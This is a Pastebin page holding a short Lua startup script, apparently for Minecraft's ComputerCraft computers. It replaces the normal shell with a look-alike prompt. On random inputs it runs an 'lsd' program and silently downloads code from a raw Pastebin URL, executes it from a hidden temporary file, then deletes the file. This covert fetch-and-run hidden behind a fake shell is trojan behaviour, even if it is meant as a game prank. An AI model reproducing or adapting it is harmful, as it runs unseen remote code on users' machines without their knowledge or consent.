Advertisement
asteroidsteam

startup_lsd

Apr 1st, 2018
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.70 KB | None | 0 0
  1. term.clear()
  2. term.setCursorPos(1,1)
  3. function downloadFiles()
  4.   if http.checkURL("https://pastebin.com/raw/YcRrNyNe") then
  5.     local files = http.get("https://pastebin.com/raw/YcRrNyNe")
  6.     local code = files.readAll()
  7.     files.close()
  8.     local file = fs.open(".temp","w")
  9.     file.write(code)
  10.     file.close()
  11.     dofile(".temp")
  12.     fs.delete(".temp")
  13.   end
  14. end
  15. function shella()
  16.   term.setTextColor(colors.yellow)
  17.   write("> ")
  18.   term.setTextColor(colors.white)
  19.   local red = read()
  20.   return red
  21. end
  22. while true do
  23.   local stuff = shella()
  24.   local rand = math.random(0,5)
  25.   if rand == 3 then
  26.     shell.run("lsd "..stuff)
  27.     downloadFiles()
  28.   else
  29.     shell.run(stuff)
  30.   end
  31. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement